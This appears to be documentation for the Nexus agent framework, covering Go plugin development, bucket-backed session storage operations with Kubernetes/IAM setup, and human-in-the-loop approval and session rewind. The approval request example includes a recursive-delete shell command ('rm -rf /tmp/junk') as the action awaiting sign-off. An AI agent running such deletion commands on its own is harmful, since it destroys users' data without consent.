    // Read config from ctx.Config
    // Set up subscriptions
    return nil
}

func (p *Plugin) Ready() error { return nil }

func (p *Plugin) Shutdown(ctx context.Context) error { return nil }

func (p *Plugin) Subscriptions() []engine.EventSubscription {
    return []engine.EventSubscription{
        {EventType: "io.input", Priority: 50},
    }
}

func (p *Plugin) Emissions() []string {
    return []string{"io.output"}
}

Reading Configuration

Plugin config comes as map[string]any from the YAML:

func (p *Plugin) Init(ctx engine.PluginContext) error {
    // Read a string config value
    if v, ok := ctx.Config["my_setting"].(string); ok {
        p.mySetting = v
    }

    // Read an int (YAML numbers may come as float64)
    if v, ok := ctx.Config["max_items"].(int); ok {
        p.maxItems = v
    } else if v, ok := ctx.Config["max_items"].(float64); ok {
        p.maxItems = int(v)
    }

    // Read a bool with default
    p.enabled = true
    if v, ok := ctx.Config["enabled"].(bool); ok {
        p.enabled = v
    }

    return nil
}

Subscribing to Events

Via Subscriptions() (preferred for static subscriptions)

func (p *Plugin) Subscriptions() []engine.EventSubscription {
    return []engine.EventSubscription{
        {EventType: "io.input", Priority: 50},
        {EventType: "tool.result", Priority: 50},
    }
}

The lifecycle manager will wire these up automatically and call the handler. You’ll need to implement event routing in your handler.

Via Bus.Subscribe() (for dynamic subscriptions)

func (p *Plugin) Init(ctx engine.PluginContext) error {
    ctx.Bus.Subscribe("custom.event", p.handleCustomEvent,
        engine.WithPriority(50),
        engine.WithSource(pluginID),
    )
    return nil
}

func (p *Plugin) handleCustomEvent(event engine.Event[any]) {
    // Handle the event
}

Emitting Events

// Simple emit
p.bus.Emit("my.event", MyPayload{
    Field: "value",
})

// Vetoable emit (for before:* events)
result, err := p.bus.EmitVetoable("before:my.action", &engine.VetoResult{})
if result.Vetoed {
    p.logger.Info("action vetoed", "reason", result.Reason)
    return
}

Creating a Tool Plugin

Tool plugins register themselves and handle invocations:

func (p *Plugin) Init(ctx engine.PluginContext) error {
    p.bus = ctx.Bus
    p.logger = ctx.Logger

    // Subscribe to tool invocations
    ctx.Bus.Subscribe("tool.invoke", p.handleInvoke, engine.WithPriority(50))

    return nil
}

func (p *Plugin) Ready() error {
    // Register the tool
    p.bus.Emit("tool.register", events.ToolDef{
        Name:        "my_tool",
        Description: "Does something useful",
        Parameters:  `{"type":"object","properties":{"input":{"type":"string","description":"The input"}},"required":["input"]}`,
    })
    return nil
}

func (p *Plugin) handleInvoke(event engine.Event[any]) {
    call, ok := event.Payload.(events.ToolCall)
    if !ok || call.Name != "my_tool" {
        return
    }

    input, _ := call.Arguments["input"].(string)

    // Do something with input
    result := processInput(input)

    p.bus.Emit("tool.result", events.ToolResult{
        ID:     call.ID,
        Name:   call.Name,
        Output: result,
        TurnID: call.TurnID,
    })
}

Using the Session Workspace

func (p *Plugin) Init(ctx engine.PluginContext) error {
    // Get plugin-specific data directory
    dataDir := ctx.DataDir // ~/.nexus/sessions/<id>/plugins/<plugin-id>/

    // Or use session directly
    ctx.Session.WriteFile("plugins/"+pluginID+"/state.json", data)

    return nil
}

Using the Prompt Registry

func (p *Plugin) Init(ctx engine.PluginContext) error {
    ctx.Prompts.Register("my-context", 50, func() string {
        if p.hasContext {
            return "## My Context\n" + p.contextData
        }
        return "" // Empty string = section omitted
    })
    return nil
}

Using the Model Registry

func (p *Plugin) Init(ctx engine.PluginContext) error {
    // Resolve a model role
    cfg, found := ctx.Models.Resolve("reasoning")
    if found {
        p.logger.Info("using model", "model", cfg.Model, "provider", cfg.Provider)
    }
    return nil
}

Registering the Plugin

Add your plugin to cmd/nexus/main.go:

import "github.com/frankbardon/nexus/plugins/mycat"

// In main():
eng.Registry.Register("nexus.mycat", mycat.New)

Then activate it in your config:

plugins:
  active:
    - nexus.mycat

  nexus.mycat:
    my_setting: "value"
    max_items: 10

Testing

Use the standard Go testing framework. You can create a test EventBus for unit tests:

func TestPlugin(t *testing.T) {
    bus := engine.NewEventBus()
    p := New()

    err := p.Init(engine.PluginContext{
        Config: map[string]any{"my_setting": "test"},
        Bus:    bus,
        Logger: slog.Default(),
    })
    if err != nil {
        t.Fatal(err)
    }
}

Conventions

  • Plugin ID: nexus.<category>.<name> (e.g., nexus.tool.mytool)
  • Logging: Use the provided slog.Logger, not fmt.Println
  • Error wrapping: Use fmt.Errorf("context: %w", err)
  • No direct plugin-to-plugin calls: Always communicate through events
  • Declare all emissions: List every event type in Emissions()

Operating Object Storage

This is the page for running a Nexus deployment whose state lives in a bucket: what the bucket looks like, what accumulates in it, how to reclaim what is dead, what a turn costs, and what to alert on.

For getting a backend wired into a binary at all — module import, config keys, credentials, and the feature’s documented limitations — see the Object Storage guide. This page assumes that is done and something is running.

One writing host per session. Single-writer is assumed and not enforced. Nothing on this page is safe if two hosts have the same session open — see Limitations → 1.

What is in the bucket

Four key roots, all beside each other under core.object_store.prefix. They are siblings, never nested, so a lifecycle rule written against one cannot accidentally match another.

Key prefixHoldsLifetime
sessions/<session-id>/One session tree: context/, files/, metadata/, plugins/, blobsThe session’s
sessions/<session-id>.snapshot.jsonCommit marker: the generation that is durably presentThe session’s
sessions/<session-id>.manifest/manifest.jsonThe per-object set that generation assertsThe session’s
plugins/<plugin-id>/store.dbApp-scope plugin SQLiteMachine/deployment lifetime
agents/<agent-id>/plugins/<plugin-id>/store.dbAgent-scope plugin SQLiteThe agent’s
eval/<run-id>/One eval run’s outputThe run’s

Two of those are easy to misread:

  • <session-id>.snapshot.json and <session-id>.manifest/ are siblings of the session tree, not members of it. That is deliberate: hydrating the tree must not drag the commit record down with it, and a prefix match on sessions/<id>/ must not return the marker. It also means the key sessions/sess-1 region contains an object and a prefix — see MinIO’s inability to represent that if you run MinIO for real rather than as an emulator.
  • The shared roots have no session in their key at all. plugins/ and agents/ outlive every session, which is exactly why they get no owner marker and no conflict detection.

Bucket lifecycle policy

Nexus deletes objects only as part of a snapshot’s committed-set prune. It has no retention policy, no expiry, and no notion of an old session — it will never delete a session because it is old, only because a newer generation of that same session no longer names the object. Retention is entirely the operator’s.

Set the lifecycle rule against the key prefixes above, not against the bucket root, or you will expire the shared plugin stores along with the sessions. Those have no age: plugins/<id>/store.db is rewritten in place and is as live on day 400 as on day 1. An expiry rule that matches plugins/ destroys long-term memory, ingested corpora and every other app-scope store, silently, and the next boot will hydrate nothing and start empty.

S3

{
  "Rules": [
    {
      "ID": "expire-old-sessions",
      "Status": "Enabled",
      "Filter": { "Prefix": "prod/nexus/sessions/" },
      "Expiration": { "Days": 90 },
      "NoncurrentVersionExpiration": { "NoncurrentDays": 7 },
      "AbortIncompleteMultipartUpload": { "DaysAfterInitiation": 1 }
    },
    {
      "ID": "expire-eval-runs",
      "Status": "Enabled",
      "Filter": { "Prefix": "prod/nexus/eval/" },
      "Expiration": { "Days": 30 }
    }
  ]
}

AbortIncompleteMultipartUpload matters more here than it looks. A host killed mid-snapshot leaves partial multipart uploads that are billable and invisible to a normal listing; without the rule they accumulate for as long as the bucket exists, and a deployment on ephemeral compute is killed mid-snapshot routinely.

Enabling versioning is a reasonable belt-and-braces measure, but note what it does and does not buy: it makes an in-place overwrite recoverable manually, object by object. It does not make limitation 4 go away, because hydration restores the committed object set and has no idea your bucket has versions. Set NoncurrentVersionExpiration or the noncurrent versions become the dominant line on the bill.

GCS

lifecycle:
  rule:
    - action: { type: Delete }
      condition:
        age: 90
        matchesPrefix: ["prod/nexus/sessions/"]
    - action: { type: Delete }
      condition:
        age: 30
        matchesPrefix: ["prod/nexus/eval/"]
    - action: { type: AbortIncompleteMultipartUpload }
      condition:
        age: 1

Do not use matchesStorageClass transitions to Nearline or Coldline on sessions/. A resumed session hydrates its whole tree eagerly, so a session that has aged into Coldline pays early-deletion charges and retrieval cost on every object at the moment someone resumes it — which is precisely when latency matters most. Transition storage classes are for data you expect not to read; a session tree is data you expect to read all at once, unpredictably.

Reclaiming orphans

An orphan is an object no live session names. Three ways they appear, with different remedies:

  1. A session was abandoned rather than finished. The tree, marker and manifest are all intact and consistent; nothing will ever read them again. Age-based lifecycle expiry is the right tool, and the only one — Nexus cannot tell an abandoned session from an idle one.

  2. A snapshot was interrupted after uploading and before committing. Objects exist that the committed manifest does not name. Hydration ignores them by design, so they are correctness-neutral and cost-only. They are also the only class you can reclaim precisely.

  3. A session was deleted locally but not remotely. Deleting ~/.nexus/sessions/<id> on a host does not delete the bucket prefix. There is no nexus session rm --remote.

To reclaim class 2 for one session, compare the manifest against the tree:

SESSION=sess-20260901-1a2b
PREFIX=prod/nexus/sessions

# What the last successful commit asserts is present. `objects` is a sorted
# array of session-RELATIVE paths ("files/notes.md"), not full keys.
aws s3 cp "s3://$BUCKET/$PREFIX/$SESSION.manifest/manifest.json" - \
  | jq -r '.objects[]' | sort > /tmp/committed.txt

# What is actually there, with the same prefix stripped so the two lists are
# comparable. Forgetting this makes every object look like an orphan.
aws s3 ls --recursive "s3://$BUCKET/$PREFIX/$SESSION/" \
  | awk '{print $4}' | sed "s|^$PREFIX/$SESSION/||" | sort > /tmp/present.txt

# Present but not committed: safe to delete IF the session is not running.
comm -13 /tmp/committed.txt /tmp/present.txt

The manifest also carries generation, completed_at and key_prefix. Check generation against the commit marker at $PREFIX/$SESSION.snapshot.json before trusting the list: if they disagree, you are reading a manifest from a snapshot that never committed, and its object set is not the live one.

Read the last line literally. If the session is live, that diff is not a list of orphans — it is a list of objects a snapshot has uploaded but not yet committed, and deleting them corrupts the generation in flight. Check the owner marker’s heartbeat first, or do this only against sessions whose host is provably gone.

There is no built-in command for any of this. Writing one that is safe requires answering “is this session live?” without a lock, which is the same problem single-writer enforcement has, so it is unlikely to arrive as a small feature.

Reading the cost off the log

Every snapshot logs one line at INFO. It is emitted on every turn boundary rather than sampled, so it is a complete record and it is also the highest-volume line the object-store code produces.

INFO object store: session snapshot session_id=… trigger=turn reason=…
     sequence=12 generation=12 objects=41 bytes=1839204
     objects_uploaded=4 bytes_uploaded=91232
     objects_skipped=37 bytes_skipped=1747972
     manifest_bytes=3812 db_bytes=1622016 db_duration=41ms
     shared_objects=2 shared_bytes=204800 shared_db_duration=12ms
     duration=131ms
FieldWhat it answers
bytesHow big the stored session is — the number that drives storage cost
bytes_uploadedWhat this turn actually transferred — the number that drives request and egress cost
objects_uploadedPUT request count for this turn, the unit S3 and GCS bill per-request on
bytes_skippedWhat immutable-skip saved. If this is near zero on a blob-heavy session, skip is not engaging and something is being rewritten
db_bytes / db_durationThe VACUUM INTO snapshot of session SQLite — usually the largest single object and the largest single cost
shared_*The same for app- and agent-scope stores
generationIncreases across a resume onto a different host; sequence restarts per run

bytes_uploaded, not bytes, is the per-turn cost. Confusing the two overestimates a busy session’s bill by orders of magnitude — a 91 MiB tree with a few KiB of turn output reports bytes=95000000 bytes_uploaded=91232.

A rough monthly estimate, per session:

PUTs   = objects_uploaded × turns_per_month
egress = bytes_uploaded  × turns_per_month     (usually free inbound; outbound on resume)
GETs   = 2 per resume                          (the tree, then the manifest)
storage= bytes                                 (steady state, if the session stays live)

The GETs = 2 line is not an approximation. Cold start is exactly two backend round trips regardless of session size, and pkg/engine/session_objectstore_coldstart_test.go fails if that changes.

The same numbers go out on the bus as session.snapshot.result, which is the better source if you have somewhere to put them — it is structured, and it carries ok so you can distinguish a snapshot that reported numbers from one that failed.

What to alert on

Three events, in descending order of how much they should wake someone.

session.owner.conflict — page. Two hosts believe they own one session. There is no lock, so this is detection after the fact: state has probably already been lost, and it will keep being lost until one of them stops. The payload carries holder_host, holder_pid, holder_instance_id and heartbeat_age_seconds; holder_instance_id is what distinguishes two containers that happen to share a hostname and a PID. Treat a stale heartbeat as weak evidence, not proof — the two clocks are not the same clock, which is why the payload carries both the timestamp and the age.

session.storage.degraded — alert. The store stopped accepting this session’s state. Under degrade (the default) turns keep succeeding and the durability guarantee is simply not being met until it clears, so nothing else will tell you. The payload carries since (when the episode opened, not when the event fired) and consecutive_failures. Alert on the episode lasting, not on the first event.

session.storage.recovered — the paired close. Alerting on degraded without tracking recovered produces an alert that never resolves. An episode that opens and never closes is the real signal.

Under failure_policy: strict the degraded episode also gates the next turn, so a user-visible failure follows — but only on the next turn, never the one that failed. See limitation 2.

Worth a dashboard rather than an alert: bytes_uploaded per turn trending up (something stopped being skippable), and duration trending up against flat objects (the store is slowing down, not the session growing).

Kubernetes

Nothing here is required — object storage works from a bare process with ambient credentials. These are the shapes that are easy to get subtly wrong.

The stock binaries cannot use object storage. bin/nexus and bin/nexus-broker import no backend, by design. Every manifest below assumes your own image, built from a main that blank-imports a backend module. See Wiring a backend into your binary.

EKS with IRSA

apiVersion: v1
kind: ServiceAccount
metadata:
  name: nexus
  namespace: agents
  annotations:
    eks.amazonaws.com/role-arn: arn:aws:iam::111122223333:role/nexus-session-store
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: nexus
  namespace: agents
spec:
  replicas: 1                      # see the note below — this is not a default
  selector:
    matchLabels: { app: nexus }
  template:
    metadata:
      labels: { app: nexus }
    spec:
      serviceAccountName: nexus
      containers:
        - name: nexus
          image: ghcr.io/example/nexus-with-s3:v0.19.0
          args: ["-config", "/etc/nexus/config.yaml"]
          env:
            - name: AWS_REGION
              value: us-east-1
            # IMDSv2 only. Without this a pod on a node with IMDSv1 disabled
            # falls back silently and takes far longer to fail than to succeed.
            - name: AWS_EC2_METADATA_SERVICE_ENDPOINT_MODE
              value: IPv4
          volumeMounts:
            - { name: config, mountPath: /etc/nexus, readOnly: true }
            - { name: work, mountPath: /root/.nexus }
      volumes:
        - name: config
          configMap: { name: nexus-config }
        # The local working copy. emptyDir is correct: the bucket is the source
        # of truth and this is scratch that hydration refills.
        - name: work
          emptyDir: {}

replicas: 1 is load-bearing, not a starting value. Two replicas resuming the same session is precisely the unenforced single-writer case, and the symptom is silent state loss rather than an error. If you need concurrency, give each replica its own sessions — the seam is safe for many hosts writing different sessions to one bucket, and unsafe for two writing the same one.

The IAM policy needs s3:GetObject, s3:PutObject, s3:DeleteObject and s3:ListBucket. ListBucket is on the bucket ARN, the other three on <bucket>/<prefix>/*; a policy that grants the object actions but not ListBucket fails at hydration rather than at boot, which is a confusing place to find out.

GKE with Workload Identity

apiVersion: v1
kind: ServiceAccount
metadata:
  name: nexus
  namespace: agents
  annotations:
    iam.gke.io/gcp-service-account: nexus-session-store@my-project.iam.gserviceaccount.com

Then bind it:

gcloud iam service-accounts add-iam-policy-binding \
  nexus-session-store@my-project.iam.gserviceaccount.com \
  --role roles/iam.workloadIdentityUser \
  --member "serviceAccount:my-project.svc.id.goog[agents/nexus]"

The role wanted is roles/storage.objectAdmin scoped to the bucket. objectUser is not enough: the snapshot’s committed-set prune deletes.

The Deployment is otherwise identical to the EKS one, minus the AWS env vars.

Static credentials, where identity is not available

          env:
            - name: GOOGLE_APPLICATION_CREDENTIALS
              value: /etc/nexus-creds/key.json
          volumeMounts:
            - { name: creds, mountPath: /etc/nexus-creds, readOnly: true }
      volumes:
        - name: creds
          secret:
            secretName: nexus-gcs-key
            defaultMode: 0400

Prefer workload identity. A mounted key is a credential with no expiry sitting in a filesystem, and rotating it means rolling every pod.

Verifying workload identity for real

No emulator reproduces any of this. MinIO does not implement IRSA, IMDSv2 or ECS task roles; fake-gcs-server does not implement ADC, Workload Identity or WIF. Nothing in this repository exercises the credential path you will actually run on, so a green CI is no evidence at all here. This is limitation 7, and this section is how to close it yourself before you depend on it.

Run this against a real cluster, with the real image, before production:

  1. Prove the identity resolves at all, separately from Nexus, so a failure has one possible cause:

    kubectl -n agents run cred-probe --rm -it --restart=Never \
      --overrides='{"spec":{"serviceAccountName":"nexus"}}' \
      --image=amazon/aws-cli -- sts get-caller-identity
    

    The ARN must be the assumed role, not the node instance role. Getting the node role here is the most common failure and it looks like success — the call returns 200, and the pod then has whatever the node can do, which on a permissive cluster may include the bucket. It will break the day node permissions are tightened, far from this change.

    The GCP equivalent:

    kubectl -n agents run cred-probe --rm -it --restart=Never \
      --overrides='{"spec":{"serviceAccountName":"nexus"}}' \
      --image=google/cloud-sdk:slim -- \
      gcloud auth print-access-token
    
  2. Prove the boot probe passes. Both backends probe credentials at open and fail the boot rather than deferring to first write — storage.NewClient notably does not error on missing credentials, it returns a client that fails later. A clean boot with a core.object_store block therefore means the credential resolved.

  3. Prove a write lands. A clean boot is not enough: with no backend named, no object-store code runs at all. Drive one turn, then look for the snapshot log line and confirm the object count against the bucket:

    kubectl -n agents logs deploy/nexus | grep 'session snapshot'
    aws s3 ls --recursive "s3://$BUCKET/prod/nexus/sessions/$SESSION/" | wc -l
    
  4. Prove a resume works, on a different pod. This is the whole feature, and it is the step that catches a bucket that is writable but not readable, a prefix mismatch between environments, and a ListBucket permission missing from the policy:

    kubectl -n agents delete pod -l app=nexus
    # then resume the same session id on the new pod and confirm its history
    
  5. Prove the failure mode. Remove the IAM permission and confirm you get session.storage.degraded and your alert fires — not silence. Under degrade, silence is exactly what an unmonitored deployment gets.

Steps 4 and 5 are the ones worth writing down the results of. They are the two that fail for environment reasons rather than code reasons, and the two nothing in CI can ever tell you about.

See also

Human-in-the-Loop and Session Rewind

This page covers the operator surface for two related features: the unified human-in-the-loop primitive (nexus.control.hitl) and the journal-backed session rewind primitive.

HITL: one event, many shapes

Every interaction that needs an operator’s input — clarification questions, approvals, plan picks, memory-write sign-offs — flows through one event family:

  • before:hitl.requested — canonical vetoable entry point, payload is a *engine.VetoablePayload wrapping *events.HITLRequest. Every in-tree HITL emitter calls bus.EmitVetoable("before:hitl.requested", &req) first so that pre-IO subscribers (e.g. the HITL prompt synthesizer) can mutate Prompt or block the request outright. A veto resolves the request as cancelled/rejected without ever reaching IO.
  • hitl.requested — emitted by the requesting plugin after a non-veto result on before:hitl.requested. Payload is a value events.HITLRequest carrying prompt, mode, optional choices, default-on-deadline, and an opaque ActionRef for context. IO plugins subscribe to this form.
  • hitl.responded — emitted by the IO plugin (or, eventually, an out-of-band channel), payload is a events.HITLResponse carrying the picked choice and/or freeform answer.

The ask_user tool is the LLM-facing entry point to the same machinery. Its schema lets the model present:

modeRequired fieldsResult shape
free_text (default)prompt{"free_text": "..."}
choicesprompt, choices{"choice_id": "..."}
bothprompt, choices{"choice_id": "...", "free_text": "..."} (either or both)

The result is always a JSON object — agents that previously consumed a bare string from the old ask_user tool need a schema update.

Async response: out-of-band channels via the filesystem registry

By default the hitl plugin routes responses synchronously through the active IO plugin (TUI, browser, Wails). For long-running sessions where the operator is in another room, on Slack, or behind a webhook, the plugin can additionally mirror every hitl.requested to a filesystem registry that any external tool can answer.

Enable

plugins:
  active:
    - nexus.control.hitl
  nexus.control.hitl:
    registry:
      enabled: true
      dir: ~/.nexus/hitl

When enabled, the plugin:

  1. Persists each hitl.requested as <dir>/<request-id>.request.yaml before blocking on a response.
  2. Watches <dir> (fsnotify) for files matching <request-id>.response.yaml.
  3. On match, parses the response YAML, emits the typed hitl.responded on the bus, and deletes both files so the directory does not accumulate.

The synchronous IO-driven path stays — IO plugins continue to emit hitl.responded directly. The fsnotify watcher is an additional source. First response wins; later responses for the same request are no-ops because the pending channel is already drained.

CLI

# List pending requests in the registry directory.
nexus hitl list

# Respond with a multi-choice answer.
nexus hitl respond --choice allow <request-id>

# Respond with freeform text (free_text or both modes).
nexus hitl respond --free-text "trim batch to 50" <request-id>

# Combine: a choice plus an edited payload from a JSON or YAML file.
nexus hitl respond --choice edit --edit ./override.json <request-id>

# Cancel a pending request with an operator reason.
nexus hitl cancel --reason "operator override" <request-id>

# Boolean shorthands (canonical "allow" / "reject" choice IDs).
nexus approve <request-id>
nexus reject  <request-id>

Each command resolves the registry directory from the same registry.dir value the running engine uses, writes the response YAML there, and exits. The engine’s fsnotify watcher picks it up on the next event tick.

If registry.enabled is false (or the plugin is unconfigured), every CLI command exits non-zero with a clear “registry disabled in config” error so a misconfigured operator workflow fails loudly rather than silently producing orphaned files.

Wire format

Request file (<id>.request.yaml) — written by the plugin:

request_id: hitl-turn-3-call-7
session_id: 2026-05-03-001
turn_id: turn-3
requester_plugin: nexus.control.hitl
action_kind: tool.invoke
action_ref:
  tool: shell
  args:
    command: rm -rf /tmp/junk
mode: choices
choices:
  - id: allow
    label: Approve
    kind: allow
  - id: reject
    label: Reject
    kind: reject
default_choice_id: reject
prompt: "Run shell: rm -rf /tmp/junk?"
deadline: 2026-05-03T15:30:00Z
created_at: 2026-05-03T15:25:00Z

Response file (<id>.response.yaml) — written by the CLI, webhook, etc:

request_id: hitl-turn-3-call-7
choice_id: allow
free_text: ""

Atomic same-directory rename keeps fsnotify from observing partial files. Webhook receivers should match the same shape.

Follow-ups

  • An HTTP endpoint that lets a Slack / Discord / ntfy callback POST a response directly (instead of writing to disk) is the next iteration of this surface. Until then, webhook handlers can write a response YAML to the registry directory.
  • Windows file-watcher semantics are untested for this path; the underlying fsnotify/fsnotify library handles macOS and Linux natively.

Session rewind: archive, truncate, replay forward

The journal already records every event. Rewind is the offline operation that:

  1. Moves the live journal (<sessions.root>/<id>/journal/) into a timestamped archive directory under journal/archive/.
  2. Writes a truncated copy as the new live journal, ending at a chosen seq inclusive.
  3. Leaves the session in a state where the next boot replays the truncated prefix, then resumes live execution.

The rewind is reversible: the archive is preserved verbatim, and nexus session restore swaps it back in (rotating the current live journal to its own archive first).

CLI

# Inspect — print the journal as a timeline (seq, ts, type).
nexus session inspect <session-id> [--limit=100]

# Rewind — archive current journal, keep events seq <= 42.
nexus session rewind --to-seq=42 --yes <session-id>

# List archives for a session.
nexus session archives <session-id>

# Restore a previous archive (the current live journal is itself archived first).
nexus session restore --from-archive=20260503T141500Z --yes <session-id>

--yes is required for rewind and restore because both rewrite the on-disk journal.

Session lock

A running engine writes <sessions.root>/<id>/session.lock on Boot (JSON: {pid, started_at, transport}) and removes it on Stop. rewind and restore refuse to operate when the lock is present and its PID is alive on the host:

session is already running, pid=4242 — use a different session ID or stop the running process

A stale lock — PID is gone — is treated as absent. The next Boot overwrites it with a warning, and rewind/restore proceed without complaint.

For the rare case where the lock is held by a wedged process that cannot be killed cleanly, both subcommands accept --force:

nexus session rewind --to-seq=42 --yes --force <session-id>
nexus session restore --from-archive=20260503T141500Z --yes --force <session-id>

--force prints a warning to stderr. Concurrent writes against a journal being rewound produce undefined state, so use this flag only when you are certain the holder of the lock is not actually writing.

Liveness probing currently works on Linux and macOS. On other platforms (Windows in particular), every lock is treated as live — operators must use --force to recover. This is deliberate: silently overwriting a real run’s lock is worse than asking the operator to opt in.

Desktop UI

The reference Wails desktop app (cmd/desktop/) exposes the same primitives as a side drawer:

  • HITL approval card — Whenever any agent emits hitl.requested, the desktop renders a centered modal with the prompt plus the appropriate input controls:

    • mode: free_text shows a textarea + Submit button.
    • mode: choices shows a vertical list of clickable choice buttons, one per choices[] entry.
    • mode: both shows both — choice buttons up top, textarea below. Submitting routes the response back through the agent’s bus as a hitl.responded event with request_id, optional choice_id, and optional free_text.
  • Session timeline drawer — Each session row in the left-hand Sessions panel has a clock-rotate icon. Clicking it slides in a right-side drawer with two tabs:

    • Events — the journal as a scrollable list (seq, time, event type, side-effect / vetoed badges). Clicking a row toggles an inline payload preview. Hovering reveals a “rewind to here” button.
    • Archives — every rewind snapshot for the session, with a Restore button per row. Restoring rotates the current live journal to its own archive, then swaps the chosen one in.

Both the rewind and restore actions show a confirmation modal first (“This will archive the live journal and truncate to seq N” / “This will rotate the live journal and replace it with archive X”). Success and error outcomes are surfaced as toasts in the bottom-right corner.

The desktop bindings (pkg/desktop/Shell) wrap the same engine primitives (engine.RewindSession, engine.RestoreSession, engine.ListSessionArchives) as the CLI, plus a lightweight InspectSession / GetSessionEvent pair for the timeline list. The shell refuses to rewind or restore the agent’s currently running session — switch to a different session first or stop the agent.

When to use it

  • Recovering from a bad turn. The agent took a wrong path on turn 12; rewind to the seq just before turn 12 started, edit the preceding event payload (or the system prompt) on disk, and let the next boot replay forward.
  • Investigating a regression. Truncate to the seq before a failure and re-run with a different model or config snapshot. Archive preserves the original.
  • Pruning sensitive data. Rewind past a journaled secret that should never have been logged (the archive holds it; delete the archive directory if even that is too sensitive).

Limitations (foundation PR)

  • An HTTP endpoint for direct webhook callbacks (Slack, Discord, ntfy) is not yet wired. The filesystem registry described above is the current async response path; webhook handlers can drop response YAMLs into the registry directory.
  • Multi-operator RBAC: any process with write access to the registry directory can answer requests. Hardening (per-operator API keys, audit log) is a follow-up.
  • Windows fsnotify semantics for the registry are untested; macOS and Linux are covered by the underlying fsnotify/fsnotify library.
  • The prompt-synthesizer capability is reserved in the event payload but not yet implemented; literal prompts are the only rendered shape.
  • Approval-policy gate (gates/approval_policy/) and per-plugin require_approval configs (memory longterm/vector/compaction) are not yet shipped; today, only the ask_user tool emits hitl.requested.

These follow-ups are tracked off this PR.